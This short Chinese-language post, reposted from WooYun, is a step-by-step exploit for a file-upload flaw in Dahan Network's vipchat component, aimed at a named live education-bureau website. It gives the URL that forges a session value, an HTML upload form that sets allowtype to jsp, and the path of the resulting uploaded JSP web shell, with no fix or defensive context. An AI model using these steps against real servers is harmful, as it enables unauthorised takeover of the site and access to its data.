|
大汉网络vipchat上传getshell漏洞 第一步伪造 session值：clusterid
地址：/vipchat/VerifyCodeServlet?var=clusterid 发送请求：http://www.ec.js.edu.cn/vipchat/VerifyCodeServlet?var=clusterid第二步，构造上传：
地址：/vipchat/servlet/upfile.do
发送请求：<form action="http://www.ec.js.edu.cn/vipchat/servlet/upfile.do" method="post" enctype="multipart/form-data" >
<input type="hidden" name="isdefault" value="true" >
<input type="hidden" name="allowtype" value="jsp">
<input type="file" name="picfile" >
<input type="submit">
</form>
打开提交构造上传 然后查看源代码得到地址
第三步，Getshell:
http://www.ec.js.edu.cn/vipchat/home/info/4640/subjectdesc/201512250304583550.jsp
===================================================
直接转载文章：http://www.wooyun.org/bugs/wooyun-2015-0143430/
Sky-1 <[email protected]>
该用户计入黑名单，永久不在接受其申请。
|